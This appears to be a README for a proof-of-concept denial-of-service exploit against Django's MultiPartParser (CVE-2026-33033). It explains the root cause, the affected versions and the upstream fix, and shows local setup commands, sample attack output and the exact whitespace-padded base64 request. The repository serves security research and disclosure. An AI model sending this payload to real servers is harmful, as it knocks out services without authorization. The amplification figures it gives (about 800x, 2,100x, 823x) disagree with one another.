
Proof-of-concept exploit for CVE-2026-33033, a denial-of-service vulnerability in Django's MultiPartParser via base64 whitespace CPU amplification, demonstrating ~800x amplification with a single HTTP request.
Denial-of-service via base64 whitespace CPU amplification in Django MultiPartParser
A single 2.5 MB HTTP request can tie up a Django worker for ~5 seconds, achieving ~2,100x CPU amplification over a normal request of the same size. No authentication is required.
This vulnerability was fixed in the Django 6.0.4 security release (April 7, 2026), along with backports to all supported branches.
| Branch | Affected | Fixed |
|---|
| Django 6.0.x | <= 6.0.3 | 6.0.4 |
| Django 5.2.x | <= 5.2.11 | 5.2.12 |
| Django 5.1.x | <= 5.1.x | 5.1.16 |
| Django 5.0.x | <= 5.0.14 | 5.0.15 |
| Django 4.2.x | <= 4.2.28 | 4.2.29 |
CVE-2026-33033: Potential denial-of-service vulnerability in
MultiPartParservia base64-encoded file upload (Severity: Moderate)When using
django.http.multipartparser.MultiPartParser, multipart uploads withContent-Transfer-Encoding: base64that include excessive whitespace may trigger repeated memory copying, potentially degrading performance.
| CVE | Severity | Description |
|---|---|---|
| CVE-2026-3902 | Low | ASGI header spoofing via underscore/hyphen conflation |
| CVE-2026-4277 | Low | Privilege abuse in GenericInlineModelAdmin |
| CVE-2026-4292 | Low | Privilege abuse in ModelAdmin.list_editable |
| CVE-2026-33034 | Low | ASGI memory upload limit bypass via missing Content-Length |
Django's MultiPartParser has a special code path for handling file parts with Content-Transfer-Encoding: base64. After stripping whitespace from each chunk, if the result is not aligned to a multiple of 4 bytes, a while-loop calls field_stream.read(1) to fetch additional bytes one at a time.
When the file body is almost entirely whitespace, each fetched byte strips to nothing, so the loop continues — calling read(1) once per whitespace byte. The critical insight is that each read(1) is far more expensive than it appears:
Layer 1: base64 alignment loop calls read(1) per whitespace byte
|
Layer 2: LazyStream.read(1) fetches entire leftover (~64 KB), slices 1 byte,
ungets ~64 KB - 1 back --> O(C) byte copy per call
|
Layer 3: unget() does self._leftover = bytes + self._leftover
creating a new bytes object each time --> memcpy of ~C bytes
Per 64 KB chunk, the copy work forms an arithmetic series:
Total = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 2.15 billion byte operations
For a 2.5 MB input (~40 chunks): ~86 billion bytes of memcpy work from a single HTTP request.
Django includes _update_unget_history() which raises SuspiciousMultipartForm if the same byte count is ungotten 40+ times in 50 operations. However, in this attack the unget sizes are monotonically decreasing (65535, 65534, 65533, ...), so every size is unique and the check never triggers.
CSRF middleware accesses request.POST before any view runs, so even endpoints returning 403 incur the full parsing cost.
CVE-2026-33033-PoC/
├── README.md # This file
├── LICENSE
├── requirements.txt # Python dependencies
├── exploit.py # Exploit script
└── victim/ # Vulnerable Django server
├── manage.py
├── uwsgi.ini # uWSGI deployment config
└── victim/
├── __init__.py
├── settings.py # Django defaults (no special config needed)
├── urls.py # /upload and /health endpoints
└── wsgi.py
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Option A: Django development server (quickest)
cd victim
python manage.py runserver 0.0.0.0:8000
Option B: uWSGI (more realistic — uses 4 workers)
cd victim
uwsgi --ini uwsgi.ini
In a separate terminal:
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload
Options:
| Flag | Default | Description |
|---|---|---|
--target | http://127.0.0.1:8000/upload | Target upload endpoint |
--size | 2621440 (2.5 MB) | Payload size in bytes |
--rounds | 3 | Number of attack rounds |
============================================================
CVE-2026-33033 PoC
Denial-of-service via base64 whitespace CPU amplification
in Django MultiPartParser
============================================================
Target: http://127.0.0.1:8000/upload
Payload size: 2,621,440 bytes (2.5 MB)
Rounds: 3
[*] Checking server health...
[+] Server is up.
------------------------------------------------------------
[*] Phase 1: Sending BENIGN request (normal base64 data)
------------------------------------------------------------
Status: 200
Time: 5.55 ms
------------------------------------------------------------
[*] Phase 2: Sending MALICIOUS requests (base64 + whitespace)
------------------------------------------------------------
Round 1/3:
Status: 200
Time: 4571.12 ms
...
============================================================
RESULTS
============================================================
Benign request: 5.55 ms
Attack average: 4571.12 ms (over 3 rounds)
Amplification: 823x
[!] VULNERABLE: Average attack time exceeds 1 second.
A single 2.5 MB request ties up a worker for ~4.6s.
With 4 workers, just 4 concurrent requests can DoS the server.
The exploit constructs a multipart/form-data POST body with a single file part:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552
------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
AAA<2,621,433 spaces>A
------CVE2026-33033--
AAA makes stripped_chunk = b"AAA" (3 bytes), so remaining = 3 % 4 = 3.field_stream.read(1) to fetch 1 more byte for alignment.b"".join(b" ".split()) == b""), keeping remaining = 3.LazyStream.read(1) internally copies ~64 KB via the unget mechanism.django/http/multipartparser.py, lines 302-325 (Django 5.0.x):
for chunk in field_stream:
if transfer_encoding == "base64":
stripped_chunk = b"".join(chunk.split())
remaining = len(stripped_chunk) % 4
while remaining != 0:
over_chunk = field_stream.read(4 - remaining) # <-- read(1)
if not over_chunk:
break
stripped_chunk += b"".join(over_chunk.split()) # strips to empty
remaining = len(stripped_chunk) % 4 # stays at 3
The fix (applied in Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29) replaces the per-byte read(1) loop with a bulk read(self._chunk_size):
- stripped_chunk = b"".join(chunk.split())
+ stripped_parts = [b"".join(chunk.split())]
+ stripped_length = len(stripped_parts[0])
- remaining = len(stripped_chunk) % 4
- while remaining != 0:
- over_chunk = field_stream.read(4 - remaining)
+ while stripped_length % 4 != 0:
+ over_chunk = field_stream.read(self._chunk_size)
if not over_chunk:
break
- stripped_chunk += b"".join(over_chunk.split())
- remaining = len(stripped_chunk) % 4
+ over_stripped = b"".join(over_chunk.split())
+ stripped_parts.append(over_stripped)
+ stripped_length += len(over_stripped)
+
+ stripped_chunk = b"".join(stripped_parts)
Key changes:
read(4 - remaining) → read(self._chunk_size) — reads 64 KB at a time instead of 1-3 bytes, reducing read calls from ~2.5 million to ~40.stripped_chunk += ... → stripped_parts.append(...) + final b"".join() — avoids potential quadratic bytes concatenation.len(stripped_chunk) % 4 → stripped_length counter — avoids redundant length recalculation.This proof-of-concept is provided for educational and authorized security testing purposes only. Use it responsibly and only against systems you own or have explicit permission to test.
Apache License 2.0 — see LICENSE.